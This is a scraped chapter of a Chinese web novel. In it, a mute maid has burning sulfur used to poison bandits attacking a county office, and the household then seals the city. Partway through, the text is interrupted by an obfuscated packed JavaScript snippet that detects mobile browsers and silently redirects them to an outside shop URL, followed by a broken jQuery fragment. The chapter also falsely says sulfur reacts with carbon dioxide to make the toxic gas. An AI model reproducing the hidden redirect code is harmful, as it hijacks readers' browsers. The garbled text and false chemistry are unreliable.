文趣网 > 其他小说 > 乱世女婢升职记 > 7. 封城,鱼死网破
    老天,听她狡辩,要折寿就折裴邡那狗东西的寿,千万别折她的啊!

    恍惚中宋舒甚至不知道是该喜还是忧。

    “咚!”

    主院大门传来撞击声,这方法能拖住一时,但对方足有二百多人。

    官署衙役外加内宅侍从加起来也不过四十多人,绝不是对方的对手。

    另外还有数十人由后方潜入内宅,老夫人提刀冲了过去。

    沈述口中的援兵到底什么时候能到?

    不行,不能将希望寄托在别人身上。

    宋舒大口大口的呼吸着湿冷的空气,忽然她拽住一旁李管事的手臂。

    “石——”

    宋舒的喉咙里挤出一声沙哑干涩的声音。

    她愣了下,试探着继续开口。

    “留——花——”

    李管事一刀干掉对面那人的脑袋,抬手抹掉喷溅到自己脸上的血迹。

    “什么?”

    宋舒张张嘴,这次她却什么都没说出来,又急又气的她险些逼出了泪花。

    “是——”

    “石——”

    “石——六,硫——”

    可最后一个字宋舒却无论如何都发不出声音。

    但李管事反应了下,飞速明白了对方想要说什么。

    “你说石硫黄?”

    宋舒疯狂点头,然后做了个捂鼻子和抹脖子的动作。

    李管事频频点头,“好,我知道了,这就命人安排。”

    硫磺本身只含有微量毒素,但与火焰燃烧中释放的二氧化碳接触,便会释放窒息性有毒气体。

    吸入后腐蚀口腔黏膜,轻则昏迷,重则窒息死亡。

    李管事将宋舒交给了一名叫做“赵二”的衙役,随后被带入赶向库房。

    院中的山匪眼看着大门摇摇欲坠,越发亢奋起来。

    可就在这时,一股呛辣酸腐的怪味刺入所有人的鼻窍。

    口中像是吞了块炭火,传来灼烧般的刺痛,眼泪扑朔朔往下淌。

    “呕——”

    “咳咳咳——”

    “老,老大,这烟雾,有毒——”

    开口的那人开始上气不接下气,捂着脖子瘫倒在地。

    山匪头子反应还算是快,可即使这样毒烟依旧导致他开始头晕恶心,胸口起伏不定,但就是喘不上气。

    衙署上风处的瞭望碉楼,赵二腰间佩刀,双手拉弓,在宋舒的指挥下时不时朝内放毒箭。

    冷空气下沉,她又在上风口,还是全府最高的碉楼,但贪生怕死的她依旧用湿布条捂住口鼻。

    时不时垫脚伸长脖子望向主院方向,企图透过熊熊烈火看穿院中情形。

    下方沈述、李管事一行人同样捂住口鼻,命人将石硫黄丢入院中。

    解决完另外一波人马的老夫人上楼时,看到的就是这一幕。

    小姑娘穿着笨重的甲胄,摇摇晃晃的踮着脚,模样滑稽又好笑。

    老夫人利落甩掉长刀上的血迹,接过侍从递过来的湿布条捂住口鼻。

    她什么都没说,只是站在宋舒不远不近的地方望向前方的熊熊大火。

    就是不知道,她的好大儿看到这一幕会是什么表情?

    想象了下蠢儿子的神色,老夫人微微扯动了下嘴角。

    总之周昂带人赶过来的时候看到的就是这一幕。

    山匪是没有的,老夫人倒是活蹦乱跳的。

    就是不知道是谁想出的计谋,好生歹毒。

    周昂上楼接过侍从递过来的湿布,捂住口鼻,上前抱拳作揖,“老夫人,晚辈来晚了。”

    老夫人摆摆手,“无事,仲二那边情况怎么样了?”

    周昂神色凝重,“那些人在流民中造谣生事,使君心善不愿武力镇压,情况不容乐观。”

    老夫人上下扫视了遍少年,“那你待在这里作甚,还不快回去帮你家使君平乱。”

    “啊?”

    周昂明显愣了下,“可——不太好吧?”

    老夫人蹙眉,一脸的不耐烦。

    “沈家小子你同他一道。”

    沈述张张嘴,“老夫人——”

    老夫人周身气势瞬间凌厉起来,“此处有我,李管事和宋家小娘子有什么好担忧的,快去!”

    宋舒不敢置信的指了指自己。

    谁,她吗?

    周昂顺着老夫人的视线望向宋舒,随后十分恭敬的冲她抱了抱拳。

    “那就辛苦宋娘子了。”

    哦,那日差点纵马将她踩死的锦衣公子儿。

    宋舒微微颔首,那日她带着竹笠,对方估计没认出她。

    天亮破晓,除夕悄然而至。

    主院的毒气已经消散得差不多了,但宋舒依旧不放心。

    让人用甘草、绿豆煮水,一人一大碗,有事没事都要喝。

    吴娘子带着蕊儿不管不顾地冲上前抱住李管事就是一顿嚎啕大哭。

    旁人还没觉得什么,反倒是李管事一张老脸羞得通红。

    “你们这是做什么,还不快松开。”

    宋舒默默移开目光,全当自己什么都没看到。

    老夫人嘴角扯出一抹浅笑,招呼着其余人处理剩余事情,为这一家三口腾出片刻空间。

    但在看到被五花大绑依旧活蹦乱跳的山匪头子时,宋舒都不得不感慨对方命真大。

    老夫人拿刀抵住对方的咽喉,“说,谁命你来的?”

    山匪头子讥笑出声,“老子凭什么告诉你?”

    下一秒寒光一闪,山匪头子瞳孔大张,眼中满是震惊。

    到死的那一刻他都不相信老夫人会这般简单粗暴的杀了他。

    老夫人瞥了眼匆匆赶过来的李管事,将刀丢给了对方。

    “供词罪证交给你了。”

    李管事颔首,招呼着人尽快将院子清理出来。

    大过年的,乱成这样像什么样子。

    洗刷刷,洗刷刷,全府上下一粒尘土都不许出现。

    借着这个功夫,李管事甚至有闲心带人将城门封锁,防止有心之人借机出逃。

    这样做确实无可厚非,一来防止这群人溜出去对裴邡下黑手,二来防备有心之人借机潜入,火上浇油。

    换作宋舒自己估计也会选择这么做。

    可坏就坏在,裴邡之外迟迟未归,说难听点那就是生死未知。

    对此宋舒越发担忧,【李叔你就不怕城中那群人狗急跳墙,联合起来鱼死网破?】

    李管事惊愕抬眸对上宋舒担忧的目光,“应当不会吧……”

    沉默——

    除了沉默还是沉默。

    宋舒咕咚咽了下口水。

    坏了,死期将至。

    咋办?

    李管事焦急到左右踱步,然后目光定格在宋舒身上。

    脚步一滞,随即闭眼猛吸了口凉气。

    随即这人居然撩动衣摆,双膝弯曲重重跪了下去,“请娘子救命。”

    这番举动实在突兀,吓得宋舒弹射起身,慌忙伸手想要将人搀扶起来。

    “宋娘子,眼下危及存亡之际,还请娘子出谋划策,救一救西城县。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701141|208180||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    办法是有,就是有些悬乎,胜算不到三成。

    宋舒怕啊!

    她倒是想一个人溜之大吉,可她师傅怎么办?老夫人怎么办?

    以及有可能是女主的沈述怎么办?

    女主要是死了,她不如跟着上吊拉倒。

    再则就算女主没死,事后能放过她?

    鼓噪的心跳声占满宋舒的耳窍,她听不到李管事又说了什么,只是收紧了拖住李管事手腕的力道。

    宋舒点点有半拖半拽的将人搀扶起来,随后转身出门抬头望天。

    昨夜下了一晚的雪,可这会儿天上集云不散,宋舒随处找了处台阶,下蹲左右打量后伸手摸了摸。

    ***地气反潮,风势渐大,半个小时左右应当还会下雪。

    金州环山夹江,短时间强降雪叠加山地地形,极易道路堵塞积雪封山。

    江面估计也会低温冰封,水陆全面阻断。

    这还不算房屋坍塌和山体滑坡等等。***注1

    宋舒拉住李管事的手腕冲进房间,将接下来的气象详细罗列而出,生怕少了一个字。

    【李叔让赵二带人四处宣传半个时辰后大雪,句子照着这个上面背,全当昨日的事没发生过。】

    【底气越足,越嚣张越好,最好给对方找点不痛快,教唆他们不服就到衙署来。】

    李管事频频点头,“诶,好,我这就命人去办。”

    宋舒长长吐出一口浊气,光这样怕是还不够牢靠。

    不行,她要去找老夫人。

    宋舒赶到老夫人住处的时候,老人家并未如她说得那般睡下,而是坐在屋中静默发呆。

    宋舒猜对方可能是在担心裴邡。

    王婆子轻唤了声,“老夫人,宋娘子过来了。”

    老夫人抬眸,面上虽然因为岁月流逝而显露老态,可那双眼睛依旧通透锐利。

    【老夫人在城中可有交好的人家?】

    宋舒单枪直入。

    老夫人蹙眉思索,好似没什么印象。

    还是王婆子替她开了口,“城中刘家,他家娘子路遇山匪还是我家老夫人出手才得以保住性命。”

    【刘家可在这次行动之中?】

    老夫人闭了闭眼,缓慢点头。

    “应是了。”

    【请老夫人前去刘家劝说刘家娘子,就说您念着两家情分,不想对他家下死手】

    老夫人抬眸细细打量起宋舒,“若情分当真有用,刘家昨日就不会动手。”

    宋舒抿唇,并未回答老夫人的问题,而是反问道。

    【老夫人信我吗?】

    老夫人再次陷入沉默,良久她开口问道。

    “可要披甲带人?”

    【我与老夫人二人同去即可。】

    “老夫人让老奴也一起陪您去吧”,开口的是俯身叩首的王婆子。

    “往日都是奴陪着您,这次没了老奴,旁人起了疑心如何是好?”

    说真的有些时候宋舒都觉得这个府里的人都正的不像话。

    李管事是这样,王婆子也是。

    不是,这群人难道就没有私心的吗?

    宋舒摇摇头,整得她倒像是个摇摆不定的小人。

    算了,惯这么多做什么?

    咸吃萝卜淡操心。

    刘府。

    刘王氏不管不顾的冲向刘家主所在的书房。

    “刘志你个无情无义的小人,裴老夫人曾救了我和孩子,你怎么能那么做?”

    刘志面上神情阴晴难辨,“老夫人同你都说了什么?”